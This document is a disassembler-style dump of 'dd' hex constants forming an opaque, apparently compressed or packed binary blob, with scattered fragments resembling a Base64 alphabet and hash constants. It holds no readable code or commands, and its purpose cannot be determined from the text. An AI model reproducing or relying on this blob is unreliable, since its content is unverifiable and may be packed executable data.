dd 7EBE723Eh, 54681DD2h, 857040E3h, 8C75BA5Eh, 0DC9C0900h
dd 1FF2E211h, 97E612h, 0E4222F39h, 1EF88380h, 0CB5D7500h
dd 0BAD9DE9Ah, 166C1326h, 0E45D0041h, 0A334B795h, 0DE5CB402h
dd 40295948h, 516D90h, 1A2E42A6h, 83680311h, 100D5700h
dd 3B28842Bh, 75073CA2h, 8DFE8B00h, 62F2DE55h, 0A5F30E09h
dd 5BB60066h, 974EF9h, 99E77CA2h, 70B9B896h, 0A8E09200h
dd 3FFC8A8Fh, 0C4EA07EFh, 0A0F5525Eh, 3B8195E7h, 1E274C00h
dd 83A7685Ah, 64880435h, 0C0FEB3BDh, 0B9D41AD0h, 96D32600h
dd 0F720AA32h, 0CD1C0EEEh, 616FD016h, 0D4B8823Eh, 26C006DEh
dd 74062B9Ah, 0D97D9F02h, 21A40086h, 102A2235h, 0E03F993Eh
dd 0FF73A80h, 20285874h, 419D424h, 0EFE800DDh, 0DBE3FCC9h
dd 1E002050h, 6AD946D0h, 196D616h, 0EBA83359h, 0F02848A5h
dd 79002D55h, 0BAFE311Ah, 0D19358h, 0CD21EFB8h, 882E8607h
dd 980C3300h, 924599A6h, 14ED1D87h, 1700BCA1h, 0FE9AD054h
dd 0B803A24Ch, 0B12F85DEh, 0FB14E8C0h, 3DA8008Ah, 7C503B41h
dd 637BE1F7h, 0FF44D300h, 0E0CC527Eh, 0C9300B4h, 8A7BB890h
dd 0C748E97Fh, 92790088h, 72DD1748h, 21150E44h, 4409A49h
dd 0B832FB13h, 7774E1EAh, 2DB49203h, 0F016A422h, 5121DBh
dd 4DD954DDh, 0FFECBF18h, 2600877Fh, 64081E91h, 1CAB519Ah
dd 5E108F14h, 0B4890050h, 48D4217Ch, 0F40BE300h, 0FFB10C8Ah
dd 1E960A25h, 0E56141h, 82B63904h, 0F91C7549h, 55F2451h
dd 0D31C9018h, 21993A12h, 0A9B5780h, 17706B7Bh, 0EC000EFAh
dd 0BF9CF00Bh, 0F015FAB8h, 6FD89568h, 51D09703h, 0C14AA0F4h
dd 7D01077h, 0E48C079Ch, 0B7A7F660h, 0C9306014h, 0D3752AE0h
dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8868DCh, 0BF3A429h
dd 8B3474AAh, 5E101600h, 54DC899Bh, 0B9565021h, 4A011DC4h
dd 2D59417Bh, 60AD4E0Fh, 0F000B6B3h, 0B4DBDA3Bh, 0E4F83F8h
dd 0F37003C0h, 0CEFBF660h, 0F7001B79h, 5AF1345h, 3997E853h
dd 1680E5D9h, 1022ACF4h, 30008567h, 70011D46h, 0D5CBF8h
dd 8B4C75Dh, 4B3BC933h, 10692A00h, 0E0A49C66h, 0A9020041h
dd 4326C372h, 0C007873Ch, 7D8DFC59h, 0A7F0FE87h, 306110Fh
dd 7F3C08E2h, 0D2B8420Ah, 6D740C2Ch, 30B8C800h, 0F46CEEE4h
dd 171300C7h, 58EC5DE6h, 0F17795B7h, 0E03DDC7Bh, 0E54A009Ch
dd 14DE76AEh, 0F8BA0037h, 90A3D431h, 21007569h, 8B9AA1FFh
dd 3B0694h, 16787B82h, 0AF0C733Dh, 8019C63Ch, 43B464C8h
dd 7C104Bh, 9C5CE749h, 996BE9EEh, 7022D01Ch, 54010783h
dd 4C65B079h, 0C2620069h, 8E998C9Ah, 7500E9D9h, 9D43800Ch
dd 7C760A92h, 4AC903D3h, 9C91827Ch, 0F2DF24E0h, 687D222Eh
dd 1F028B00h, 352838Fh, 760318C9h, 73880A1Bh, 89001601h
dd 0B9560C5Eh, 0FEA974h
dd 822A4F20h, 9D87D89Bh, 0D4E49600h, 95DDEEB7h, 0E4470C7h
dd 49534C43h, 0CEB55CC0h, 0A100A2ECh, 0FF09E91h, 904AFC21h
dd 87921h, 54D2C14h, 75FF2911h, 34F7C400h, 6492108Ah, 79A750Fh
dd 8C846ED4h, 3607799Eh, 5E7E50A4h, 0B9771942h, 1F4D9D3Eh
dd 350093C2h, 0AC919CA8h, 83E0069h, 5D208B95h, 0DC1C0633h
dd 104021BBh, 9F30119Eh, 630A00A9h, 169B054Bh, 48F485E8h
dd 2717AF00h, 0A3553D9h, 20F05844h, 96AAB700h, 70431C55h
dd 809D423Ch, 2B610B46h, 0FE19F40h, 5E69C3ACh, 6D8CEAE0h
dd 9C005A0Eh, 7910BD93h, 3A6FC69Fh, 3C87AA24h, 0C0A9E172h
dd 1BD9E539h, 77E45000h, 0CF71B68Ah, 5D1A0097h, 0DE534317h
dd 0C00742E3h, 0B1232C92h, 0EC2D9F60h, 690900DBh, 80AB6865h
dd 0C40081E1h, 23A36FB8h, 470A5Eh, 0F0270B9Dh, 0F806CBFEh
dd 0F553CA00h, 0CE7DAA81h, 256B0251h, 2983AF5Fh, 0DE989D40h
dd 0A1424D00h, 92EBE8D3h, 0D2AA3B01h, 8D189300h, 3360BA46h
dd 5813483Dh, 1B5B0FE3h, 0FF9D0016h, 7F51D55h, 380D4595h
dd 0BA2501Eh, 0BC006164h, 114AAB3Ch, 23EFCEh, 26C4A9F8h
dd 0DA15275h, 4B6CBA3Ah, 370106FCh, 9D63F04h, 0EE01DCBEh
dd 4CB86D00h, 0E636C2BFh, 506F0017h, 0BCBC931h, 29004572h
dd 25F4550Dh, 126923h, 0C7A413EBh, 94C94C33h, 9C87B306h
dd 17A0F14h, 7A20A92Dh, 0F213A59Ah, 0D8B6EB40h, 8AA1541Eh
dd 0B85F8DC0h, 3BA1Ah, 0E0E5C19Bh, 0B9CB1B3h, 1D5C0100h
dd 122CA664h, 0A9343BD8h, 8A7AD602h, 88E09061h, 3907F80Eh
dd 708D10DEh, 4FE68099h, 161B2DE2h, 13504193h, 4A900369h
dd 84DB09C2h, 0C6B0DA8Bh, 2B5C6AC8h, 0C7A60046h, 1322767Ah
dd 0B0EC095Fh, 1B8FD8F2h, 75A0F80Eh, 0FA685DAh, 0A2614200h
dd 2E46BD14h, 27D20092h, 5518F43h, 8E24A788h, 4500952Dh
dd 3620EA11h, 0E855020Bh, 0D9916F27h, 61E0C5E0h, 48754E00h
dd 15B71FD4h, 0C5E701A2h, 8BA4B2E4h, 0C031F8A8h, 702D903h
dd 0E0149765h, 45889Bh, 9E25AF26h, 0A35F2DB6h, 0A0139600h
dd 4A840F7Fh, 0FC8C0390h, 7B382780h, 39F1EBC0h, 798E6B01h
dd 827775A4h, 843270h, 96B1CB10h, 1132C6E1h, 0CE26990Eh
dd 9FAB36h, 0E53BAB4Fh, 31680CB2h, 0CD106A18h, 7B43D900h
dd 0DD100CAFh, 0DA041674h, 0F9F500EBh, 2064324Ch, 0AB03D900h
dd 0A2A0575h, 0F1558AFh, 13C33B01h, 0FC8A3210h, 0D900F834h
dd 31669EDh, 0A3662Fh, 59AF6D35h, 96A479Ch, 802CD0Fh, 0F871A0FAh
dd 50314A0Ah, 1A8568h, 1C442188h, 89C18CE9h, 533E4300h
dd 94424BF0h, 0F47E006Eh, 557A96A4h, 760E54AEh, 4051F843h
dd 0FC294A73h, 0EE6200B2h, 0C1B117A4h, 0A2F0A508h, 0BE768A09h
dd 1C1B0292h, 4185DD72h, 0A598033Eh, 0F7D8F822h, 8E0CD608h
dd 10DA0DFBh, 9159000Fh, 0B558F94Ch, 0EF00FAE7h, 1F4BBA31h
dd 7071523Ah, 926F0005h, 402C3E2h, 3D0043C6h, 47F49E01h
dd 3844A7F5h, 0A502E3E5h, 80E8B094h, 0CA5DA640h, 9FF9D400h
dd 0FCF0DAC5h, 0BA25051Fh, 81AD454Ah, 0E8B5B0D9h, 0D0A20A5h
dd 0BBDD1CB8h, 27612900h, 907AD02Fh, 0BA120052h, 56DAA590h
dd 8D05FB02h, 0B93E2474h, 5099C800h, 6CCE5Ch, 9240B32Eh
dd 845360CFh, 5AC02100h, 0AC4F0A5h, 0EF883ECBh, 1B00780h
dd 964F24E9h, 549B2805h, 45C010E2h, 33C995h, 3F8C175h
dd 3D88BD2Eh, 1C2E4358h, 90400827h, 400C222Bh, 89100014h
dd 66A60718h, 0A1C7511h, 0EBC012DFh, 80943346h, 1D4800CFh
dd 3A097414h, 1A07BED6h, 42912A7Dh, 851218B7h, 0D4DF41C6h
dd 7EC59C30h, 93107E3h, 4005896Bh, 657540B9h, 0E0147000h
dd 0BAF2A8C4h, 0D6521CF6h, 0CD088FC6h, 0B1DD9A40h, 163FD861h
dd 0EC500501h, 59801046h, 0ED6403Bh, 0ED097504h, 585A85C0h
dd 0B003D76h, 7E0CE2EBh, 0FA2A505h, 9C19EF1Dh, 77C00A22h
dd 4233D740h, 10537307h, 408F4D7Dh, 0E321464h, 46D70099h
dd 620ADE19h, 3C004EA6h, 2B7FFF3Eh, 0FD4D68Bh, 5549EBAEh
dd 80564BE7h, 4C9DC29h, 0FF2A03Ah, 60C27305h, 0D269D7EDh
dd 957036Ch, 9635BAC3h, 0C8909191h, 0E2009E20h, 89282F40h
dd 2C0233h, 24C08530h, 94953C76h, 32240E71h, 600D137h
dd 3B091A53h, 87601C2h, 7126E24h, 2BD3C8EBh, 303DD00Eh
dd 7BA68053h, 75A50E51h, 820F1FFBh, 88A343FDh, 38A85043h
dd 3690C408h, 6B5E5800h, 52DB4DFFh, 8429030Bh, 39119FAh
dd 0AC435AF0h, 48144600h, 8F320A73h, 62B5243Bh, 1FB0014h
dd 7DBE40C6h, 7B800900h, 37715E30h, 0D3A800C5h, 0D80C9302h
dd 0A9002C1Dh, 0E0DA8255h, 17BF419Eh, 98516BCh, 410E1057h
dd 75180A60h, 8A74DCD3h, 2D728400h, 0BA277C21h, 1E527439h
dd 81541C88h, 7D140E73h, 0AFC0E695h, 0ED00CB42h, 921CAE52h
dd 1F50BC98h, 0C31421A7h, 0F8A8B7CFh, 5C6ADCB0h, 8ACDA200h
dd 640D1172h, 257627h, 0D06E3123h, 986B9ED6h, 89D44C00h
dd 0B3E71CC6h, 57880192h, 37754296h, 80E62069h, 0C606E600h
dd 0EB013246h, 397B53h, 0C5AE932Ch, 0C2B6815h, 3448C80Fh
dd 339C1D19h, 0CE8B0F00h, 0FA1DA6h, 6CC2E197h, 4E40437Ch
dd 680044E4h, 0B141FECBh, 6F88EAh, 2C463415h, 90E00B94h
dd 44015C01h, 0EAD63527h, 78AC1BD4h, 0C131004Ch, 0E4305DFh
dd 12005A01h, 0B729B89Dh, 1DAA0D10h, 836EC2A5h, 1478F4D4h
dd 0F84585C9h, 0D62618FDh, 0E800CFA3h, 74FF0BA8h, 0F653173Fh
dd 37D203E2h, 0FCE009E5h, 0A800D916h, 909ADAFBh, 0E042418Dh
dd 45440143h, 49484746h, 4C4BC04Ah, 4F4E4D00h, 12525150h
dd 55543853h, 59587E01h, 0C062615Ah, 65036463h, 69686766h
dd 6C6B806Ah, 6F6E076Dh, 727170h, 76757473h, 7978770Eh
dd 3130007Ah, 1C343332h, 373635h, 2F2B3938h, 2438203Dh
dd 5B290028h, 2C7D7B5Dh, 0B03A703Bh, 2A5C03C8h, 0A092722h
dd 10C80DB8h, 0CAD25701h, 42572FBh, 48D03A8Fh, 0C120B4E0h
dd 0F10160E8h, 9E78336Fh, 0D2F4FCD4h, 88F021h, 8B2D0AACh
dd 85090F5Bh, 0F782DB04h, 0E9C00136h, 0E6FC70h, 5C80B515h
dd 0A8E96ECFh, 0A58A4A1Ch, 713600BBh, 0B7897AEFh, 0C4FA3Ch
dd 0FD240111h, 29A94B5Dh, 28F9B48h, 0D0CB39E8h, 4D5DE0D8h
dd 7D3E2ECh, 489AA90Bh, 63EB80EFh, 1901951Fh, 528AC0F1h
dd 59F0BF40h, 652703FCh, 5EFBE2E1h, 89CB3AC0h, 0B92BCA00h
dd 579037Ah, 0C8830048h, 0FBD040F2h, 9AE4CE52h, 0E6F08200h
dd 3478BE7h, 0EFEB03C6h, 0DBE8104Ah, 0C029FFA1h, 7E0F925Ch
dd 20336C09h, 0E635ABBh, 3BB9FCEBh, 60801441h, 0EFE806DCh
dd 6AC0B69Ah, 0E7C1157Ch, 0F8ECE1h, 0FFFAB06Ah, 66E299A2h
dd 0DC91D730h, 26464BFCh, 3DDEDA0h, 1E753B2Eh, 2BBCEA8h
dd 0C7320C01h, 8804F468h, 0C11AC8h, 4046AAEFh, 36ADF07Dh
dd 6E7E030Ah, 0ED008FFAh, 127C0113h, 246D006Ah, 947F0A6Ch
dd 5C007BEFh, 1F69B568h, 347062Bh, 0AC8F0829h, 56D8E840h
dd 0E200A288h, 95544CDCh, 0E6120F6h, 3A240C89h, 0C6C41040h
dd 0FF007A98h, 0B54779B7h, 391FBF7h, 6A9A7352h, 2AB8B28Dh
dd 53004898h, 1208F84Ah, 74AF03B9h, 56EA0235h, 26FCF576h
dd 0AF16F40h, 6FF02400h, 0A0E562C9h, 334F0ED9h, 30C0B8D2h
dd 864E2C1h, 0AB071D00h, 0D10B7A40h, 484B0047h, 2EEE7535h
dd 0D006622h, 8A8BE8FFh, 400549h, 43060C88h, 0CA4101ABh
dd 3FE18300h, 25936CD5h, 4A18004Ch, 0E7EAC127h, 6B008B21h
dd 0ABD65583h, 0F9F14C6h, 0B268B17Fh, 7EF18A21h, 5DE320C1h
dd 78007A7Bh, 88AD4391h, 0EA98D014h, 7B447685h, 613A5831h
dd 0F4036B00h, 655AE9DCh, 8618EF00h, 17A7AE4Ah, 0ABB30097h
dd 79D6FC25h, 0B5F0F14Bh, 18C10403h, 0A80552D0h, 518210h
dd 0DAFA3874h, 41D562CBh, 7F8D600Fh, 83902064h, 462B54h
dd 26ACE47Ch, 1F103A42h, 0E8C0AE00h, 0FF113A9h, 75AF011Bh
dd 0B4D809E4h, 85A2061h, 48ED9F1Eh, 0B7514Bh, 60693146h
dd 92305C4Ch, 59659505h, 6830028h, 51225A5Dh, 0E7299C00h
dd 0D9D32725h, 8DE2006Dh, 1C96FDAEh, 4B00FE91h, 519DACECh
dd 0EAA78820h, 44E80FEAh, 34202DC5h, 0CC088D18h, 5C54AE1Dh
dd 53A2B8C0h, 6232E2h, 1A4DFA45h, 29A43D8Dh, 8010F53Dh
dd 0F213E9C1h, 0F0CB27h, 0C647553h, 8945242Ah, 0D08D100h
dd 9E679110h, 2C350F94h, 6E20656Ah, 69381582h, 0A2164400h
dd 0F1F4E32Dh, 0CC430EC1h, 0D82101DAh, 0F4D11274h, 0D0000E72h
dd 14CF85E1h, 0C8CEF6h, 731CDA4Ch, 2052F265h, 0C0230202h
dd 0C1800D8Bh, 8DE4E13Bh, 54B91F50h, 0F3FDC04Fh, 1375FCAEh
dd 9083B20Fh, 14AB201Ch, 75A0F1E9h, 0BA66008Bh, 0D10A74A7h
dd 911E84EAh, 0F5000327h, 75F0FA80h, 4C39000Dh, 603CCBC1h
dd 0A1004940h, 34FD891Dh, 3E475DB7h, 0B558B8DCh, 2808D3Eh
dd 0A10CE844h, 0DD00504Bh, 18EA1B5Dh, 938428h, 14752942h
dd 68CA4FBBh, 0A5E66A00h, 0F2674669h, 0EDFA3Eh, 4235281Ah
dd 29B7B2ADh, 16E85Ch, 724BEB71h, 3928B0D4h, 7307612Dh
dd 836C7616h, 21AF9009h, 6E347893h, 0A74ED100h, 0F8BABC5h
dd 91A598AAh, 52807489h, 0D31977B1h, 4F0DD503h, 0A0EB12BBh
dd 90101Ah, 4BED074Eh, 1B751430h, 2CB52600h, 4C29E95Bh
dd 0F107FA0h, 3DA34516h, 8BB94FFEh, 0B6147DA0h, 0A118094Bh
dd 36305080h, 0D273A2h, 0F9ADCC4h, 14AE9078h, 0FF897h
dd 11C72977h, 58F63107h, 0B81C9307h, 39F3FEB5h, 4500AF04h
dd 1E3F7h, 0D24E83F8h, 35A8681Fh, 4615C000h, 0E3E2D789h
dd 14007C5h, 10114714h, 9A8753Ch, 90054D00h, 28FE891Eh
dd 152500F7h, 10D3C3F0h, 3095121h, 80235205h, 90495AF6h
dd 0E2283EA5h, 62A80400h, 95C9389h, 0BD46B026h, 0C084820Fh
dd 1318A314h, 0ACBA001Ch, 4E67158Ah, 0BF1EA1FFh, 531D0C2Ah
dd 8B14B2C0h, 0E23B063Dh, 205C0051h, 5F9C3E7Dh, 0D9003902h
dd 6C901A72h, 9E5348Dh, 3CDD9149h, 61A6B480h, 0A70001A4h
dd 0F81A77FCh, 754E14Ah, 19892488h, 0EA94B049h, 0CF0034EFh
dd 182DF335h, 1613221h, 71C42F9Bh, 0D8789DABh, 1C000EA6h
dd 55D2F64Dh, 16FAB5B0h, 23E813h, 0FB92E2CAh, 8A396522h
dd 0E98800E1h, 0F60C90FDh, 0C352074Bh, 90CDE7B8h, 23D02F6Bh
dd 808AC93Fh, 0AFD20ACEh, 14B54h, 2E028769h, 0B04A26F3h
dd 0B49BB600h, 48E23A8Ah, 5DC31C0Ch, 40A05C1Ch, 0DB6433C8h
dd 17000890h, 0B9FE12AEh, 2D20A6h, 0C109D27Ah, 278AC203h
dd 71F8CA02h, 400732FBh, 0F935BEh, 7788FA9Eh, 0C8D0934Ch
dd 43512700h, 0D225285Eh, 423B1D04h, 0F6D6804Eh, 4090503Fh
dd 0B999700h, 57092C1Bh, 0D95F0060h, 8108FC51h, 370FC276h
dd 208EFE6Fh, 120C112h, 89330A70h, 0C1160Ah, 0E196482h
dd 320030F8h, 0E1BD0283h, 74D44E3Bh, 6E066h, 0C9851275h
dd 0F78B2076h, 0FC6C8D18h, 0E74744h, 8FEB0852h, 0C2016B12h
dd 0B4F05400h, 2DC0D25h, 0CE750350h, 66877AAh, 0EF19B8B8h
dd 0AE539D07h, 0F6F04804h, 1A0D96h, 0C6FEAC27h, 89C91EB3h
dd 6EDB8D00h, 0A5A8B2DFh, 23EC0006h, 0BDE9F084h, 1D008BB0h
dd 7D148B9h, 0B7A6C2h, 85C71A14h, 95714BF8h, 0BAC30500h
dd 8662F230h, 67B401BDh, 9F88289Ch, 55673003h, 0D78B0E03h
dd 98B56A4Ah, 0B8C6833Ch, 9B03054Ah, 80854B28h, 6D9D0A9Dh
dd 168A0900h, 95516FE6h, 26A8000Dh, 1899BD7Ah, 0C00548Bh
dd 893DD1A2h, 9758F7h, 118E291Ch, 0FB9AEC2Fh, 0BB70C100h
dd 0B061FFA5h, 86E90032h, 26DDEB9Dh, 91035411h, 6F50BE3Fh
dd 0A2EFF8E8h, 0F07F55h, 10B9052Ah, 231C873h, 0BD832101h
dd 0EC012BCCh, 1E1CEBCCh, 0B7EA8h, 1175F23Bh, 0E9B843C6h
dd 0E9B92800h, 70A77832h, 918A0040h, 14123B1Ch, 238FF82h
dd 0D4A080D7h, 95509C5Ah, 0F926B85Ch, 785E360h, 59D513F7h
dd 8BCF16Bh, 8020F875h, 5700AA7Dh, 88191749h, 251A903h
dd 0A04D0AE9h, 13404741h, 0CC01C23Ah, 38FFB1B8h, 347051A5h
dd 9ED30020h, 7F468A12h, 8800090Fh, 695799Dh, 748578Bh
dd 58070C2h, 0A2E08ED8h, 513DE56Ah, 0E8528501h, 0B682A3ACh
dd 1F585AE4h, 382A762Ch, 0F88B3809h, 9007FF81h, 281ED87Bh
dd 14EE8100h, 4FE168A5h, 4AE20975h, 288032A9h, 0C692AE07h
dd 0D071590h, 12485398h, 64BC2250h, 0B80E2C51h, 939B0076h
dd 0C7DF553Ch, 22CAC400h, 8592F014h, 46E000A1h, 31FBE88Eh
dd 0F57D5950h, 7428840Eh, 5CF3810Dh, 0D17089ADh, 4B5E1826h
dd 20E8B42Ch, 4EE72A01h, 7051851Fh, 798B1DF0h, 1CFCFE43h
dd 800392F2h, 0EE287389h, 0E009856h, 0EC2D54F5h, 756B57BFh
dd 346F8C8h, 0D2D46C2Fh, 0BBF9AD12h, 0A224DC42h, 573E1600h
dd 49C851E4h, 52210028h, 0AD29440h, 114B957Ah, 74D11A0h
dd 22438DCAh, 0A63D3055h, 82003349h, 3C60ABCh, 964C01h
dd 3CC514EFh, 72DD7384h, 62126D0Fh, 315080A4h, 7C6D622h
dd 0E22AB641h, 0F3A550C8h, 80E249D7h, 62367207h, 6FD06A6Ch
dd 197A112h, 99E09DDDh, 0E8EA9B17h, 0D8000F4Ch, 2116478Ch
dd 0A83BD0h, 0DC552585h, 234A2B1Ch, 0C411151Fh, 0DF776281h
dd 3FCB129h, 53880749h, 20CC84CBh, 5138CE9Dh, 0FDC2AF00h
dd 0E5E96445h, 0AD0800C6h, 0C98E2CB7h, 72015A54h, 20B46ECCh
dd 2170DD70h, 67FF0051h, 4413AE14h, 0D40E2DE1h, 40B41C05h
dd 95BBC37Ah, 0F488F0A7h, 79E10052h, 0F83D0EF4h, 8B068AFBh
dd 0FC739111h, 41B91D0Ah, 0EA21C99Eh, 0F8532203h, 5589DDC0h
dd 99018072h, 256E1FAFh, 54C4139Ah, 4E401DE5h, 1DD440A8h
dd 56A595B2h, 5FC3F98h, 0D887552Eh, 57743103h, 0AB65D081h
dd 0A60005Fh, 0BBF1BE07h, 1348FCCEh, 5B3E5Bh, 5C92C6E2h
dd 55F996h, 3149B2F1h, 7CFC2A3Eh, 74F121Fh, 0DC4056DEh
dd 0B9431D58h, 69440784h, 7642243Ch, 47FA0EA1h, 79783800h
dd 5C211A48h, 0DEA59h, 4B249F7Fh, 8E5C8F8h, 79BC5000h
dd 1575104Ch, 0F42D00B8h, 5A785952h, 0C30067B9h, 1A8D361Bh
dd 4C43D0h, 50926A3Dh, 364EF52h, 3CE0AB01h, 0AE10F80Bh
dd 1F6C8h, 406981B0h, 1489FD2Fh, 74FF0500h, 0F18B8444h
dd 0BE7DECh, 9D166C65h, 0F530CB91h, 1520D39h, 64E15EA4h
dd 0D770330Ch, 79900014h, 613C99EDh, 1207070Eh, 0BD8AFD60h
dd 0F9084470h, 50357F2Bh, 354F510h, 84A369FBh, 20F381DAh
dd 0EB14A9E0h, 231A4A00h, 0B26D1142h, 0C4EE830h, 71242802h
dd 12EE9E8Ah, 22AF7D17h, 18B12A00h, 10D15CBh, 31178CACh
dd 0ECA27AF5h, 0BA00D184h, 50242C8Eh, 0F0D8D07Ch, 3E4D0085h
dd 2D10CE6Ah, 0FB00EB56h, 0F8C93FBFh, 0F0165Ch, 3E97BB8Dh
dd 50BAB7E1h, 7E008379h
dd 0F45A2F4Eh, 0ED20F44h, 842AB87Ah, 89B4FC60h, 8A70EC5Dh
dd 0FF335C00h, 475183Ah, 0E0B500B1h, 0F04A40DCh, 0DCB0B7EDh
dd 404F48h, 5434623Bh, 0EE5F32h, 5141FF1Ah, 0E109269Bh
dd 0A03B4600h, 0BA527583h, 94C400ACh, 112DFBBBh, 27009F2Bh
dd 8C06F10Bh, 0EA0E014h, 0BFFCCCFDh, 50F7D4E6h, 0BDAA4800h
dd 4DA94F0h, 42B90051h, 22D667FCh, 2C74F8B6h, 958E4100h
dd 4321CC6Eh, 7F6900BDh, 0E1BAF711h, 28003D01h, 933FC93h
dd 13C38B17h, 9F1844h, 2CAB0C51h, 5800EB4Dh, 0D26B6526h
dd 0B448971h, 51E9B2EFh, 0B98FCB0Fh, 9350ADE0h, 0F004124h
dd 0EFA9D98Eh, 12162836h, 0EEAADF35h, 951D4E00h, 0F6F509h
dd 45D85930h, 678725C5h, 7FE93C0Eh, 8D56A090h, 3CFB552h
dd 0D3D8C450h, 0C3A3141Bh, 74D45EC8h, 9E8F8518h, 0BC21C8h
dd 0A7584CB4h, 0DC8066D2h, 0B8F61B3Bh, 7402F95Ah, 96A77F8h
dd 3C82C041h, 0D38700AEh, 0CD8C05ACh, 18079401h, 0D62430ECh
dd 63E8C100h, 579600A3h, 0D503FFF8h, 20046C6h, 2D8729B5h
dd 0B89883h, 599F227Eh, 0C8D366CCh, 9B005E76h, 0BD4A11D9h
dd 1D488C53h, 0C0E5E8B6h, 0A899E214h, 1CFC7942h, 8454460Fh
dd 212AA780h, 0E0D88B63h, 0EEC3F77h, 2B044132h, 88B0BFE1h
dd 0C40CD1D0h, 104808C0h, 181200DFh, 2401C24h, 90480154h
dd 64BE573Ch, 0F780E2A3h, 0BD8C2970h, 0B820E0F3h, 0A436C600h
dd 6609C1C7h, 0AC193AB4h, 1FD1FCFFh, 0C0320403h, 91BC237Fh
dd 1002BFF0h, 33C2C834h, 89A400Ch, 3FF7F624h, 267FF190h
dd 0A1C4D1h, 448C227Fh, 4300C071h, 21E0B8BEh, 1624102h
dd 3418F224h, 0CCC45A86h, 170E0A2Ah, 0C80FC3h, 18E367F0h
dd 1C837B53h, 0B32A5E8h, 0C008B62h, 0C137FB86h, 5700C37Bh
dd 498AA089h, 7BF075h, 1338C85Bh, 0F85C191h, 174BCB01h
dd 259879F5h, 4AA29D0h, 0C644CDDCh, 0FE9380BAh, 60053C3h
dd 17364FB7h, 0C10BB9h, 792D558h, 0E280DA60h, 0F9F48h
dd 84811A23h, 7F6193Bh, 65A76B17h, 515FD062h, 8D00C920h
dd 44498ADh, 68B5EFh, 72DD63Eh, 6A04871h, 844C5800h, 0F507021h
dd 0E3540040h, 0E8FB23FEh, 0D53AF7EBh, 0ADF69FECh, 33A04C0h
dd 0F983CFh, 31B7E7C1h, 0E3BB73E9h, 3718D600h, 0B00C23FBh
dd 24860058h, 0FD0B07EEh, 4147A03h, 1FB8C735h, 1E0073E7h
dd 3DBB8CE8h, 0F9180063h, 640C7B23h, 0EB773A75h, 0F79B0807h
dd 7C80946Fh, 6415EECFh, 40F82FFEh, 0AAE9ADC4h, 7A7701h
dd 96B3DF03h, 0EB98133Ah, 800B0D3Ch, 467329DAh, 38573BC7h
dd 87807410h, 14C8CC11h, 713D625Ah, 1CE980B9h, 1E428D18h
dd 1C0477AEh, 643B326Ah, 5B740049h, 408885BCh, 0D0CE870Fh
dd 231C43B2h, 284E175Dh, 2CDB00A8h, 90AF881Ah, 0AEB7303Ah
dd 34032371h, 0E8C3B885h, 38E4D1h, 0AF06106Ah, 0E8783C21h
dd 9D183707h, 3D20FD0Ch, 12A88A0h, 99C50381h, 205A8279h
dd 7F0071EBh, 300ABD4Eh, 34986EEh, 0CDB8CAFh, 5400E1CDh
dd 8B4C295Dh, 2C758005h, 5D85BDh, 527236C3h, 0E90E200Ch
dd 0A06A2B78h, 9097A929h, 17211F09h, 8EB14062h, 9AB7C674h
dd 30260D64h, 8090A307h, 0DAC41321h, 10E0321Fh, 0A4A50480h
dd 268F264h, 149085EDh, 0AC4019ACh, 0B02E16C4h, 0C624A223h
dd 5521F403h, 9B5BB0A1h, 7A340344h, 849E7E10h, 0D022C78Fh
dd 0BE968815h, 0B0917800h, 0AC181085h, 1F8D75BDh, 0C0C8BAh
dd 86F9E828h, 2313FF43h, 6A12D038h, 0A2405F1Fh, 3AB1423Dh
dd 100F1DBFh, 1C33BD35h, 78D16158h, 7684FC5Eh, 2C81640Eh
dd 0A29DC01Eh, 79CA321h, 0E0873C08h, 0A1C7E03Ah, 670ED9F6h
dd 6033FE6Eh, 0B1AEE841h, 994A1304h, 89C70021h, 3AB01F29h
dd 0A2FBE90Fh, 208FE057h, 7EC4309h, 1F531C5Ch, 0EEFA07h
dd 67B88D34h, 1460D608h, 0F002D31Ah, 0BD41FBA3h, 11E00F7Bh
dd 94E2001Ah, 2A217C9Ch, 4F0062B2h, 0E2819C0h, 3CA37710h
dd 0C9468F1h, 940C9218h, 0B30A38ECh, 97A004EAh, 0CB00E2A6h
dd 230E2431h, 38E444F3h, 0C0CE1462h, 0A34D145h, 0A4002FEAh
dd 88D0CE8h, 0C59B322h, 2C19DA47h, 0F3FE6F6Ch, 32B46000h
dd 8C43141Ch, 415201A2h, 1F51C2E9h, 902A70F8h, 0D703F901h
dd 0D2C12BE5h, 3157E2C8h, 143C897Ch, 4A01C824h, 10064809h
dd 7237805Ah, 422150h, 64EC3A54h, 0B7F2B8C9h, 0B930B400h
dd 0C4DB483Eh, 17FB0024h, 40958290h, 0D8006429h, 4806C77Fh
dd 452301h, 4C040E67h, 0EFCDAB89h, 0FE0050E0h, 8098BADCh
dd 0E47654h, 58104032h, 0D2E1F008h, 5C1EC300h, 0E22ECFEh
dd 3C98F860h, 181DCBAh, 0ABCDEF64h, 6768C089h, 2320451Fh
dd 0F6C0400h, 1E3C2D1Eh, 407FE0BBh, 0E353D9CBh, 0C61C7232h
dd 0BB3E18DEh, 344123Fh, 40802800h, 38F885h, 6F431E7Eh
dd 5F8DD02Bh, 56A92500h, 0AF53DE9Eh, 0F0CC0BC3h, 938351FFh
dd 8FF81E76h, 0E001C183h, 1386EBD3h, 0AB60C3B3h, 5A6C03DFh
dd 60DABD14h, 0C48B40B0h, 1000B978h, 0A7161350h, 0ED52B45h
dd 7FE25DE9h, 90185120h, 0B80097D9h, 777E1EEBh, 966ED4h
dd 13FE507h, 0EDAF6F5Eh, 0BF35A500h, 3BFD7440h, 107D00DFh
dd 2E548D13h, 0C1DD2EBh, 0FBA2CBh, 9AAE424Fh, 3649112h
dd 18C60256h, 2988DF2Bh, 28003CCDh, 0C0DD40E6h, 0BE803h
dd 7C41B385h, 1D2986F6h, 0C7838A00h, 6EB19EAh, 7DD804FBh
dd 0C04DC6ECh, 51A66F7Ch, 0FC749F00h, 0D2147B7Ah, 78B604C8h
dd 806A60A4h, 24A6905Dh, 23449A00h, 710B566h, 0DA875812h
dd 9FFBF500h, 5663E1A6h, 0E898B700h, 345DA709h, 4C793F2Bh
dd 1B58A058h, 0C7C3A50Eh, 0D6CFF920h, 0DB008030h, 244C2070h
dd 3BC88469h, 1F9CEA0h, 0F90F4111h, 21F4F3F8h, 0BDE8CF15h
dd 0F000C15Dh, 7324A01Eh, 584CCF4Eh, 160031D2h, 31F0A10h
dd 5C003FFEh, 0FAFC104h, 341F57Ch, 8A71C8Ch, 0C29C87F2h
dd 9740E4B0h, 47F2C62Ah, 51F13505h, 1FA8438Ch, 0C8C43100h
dd 46130218h, 10A83003h, 0E187A154h, 95C5011Ch, 85D5FDF1h
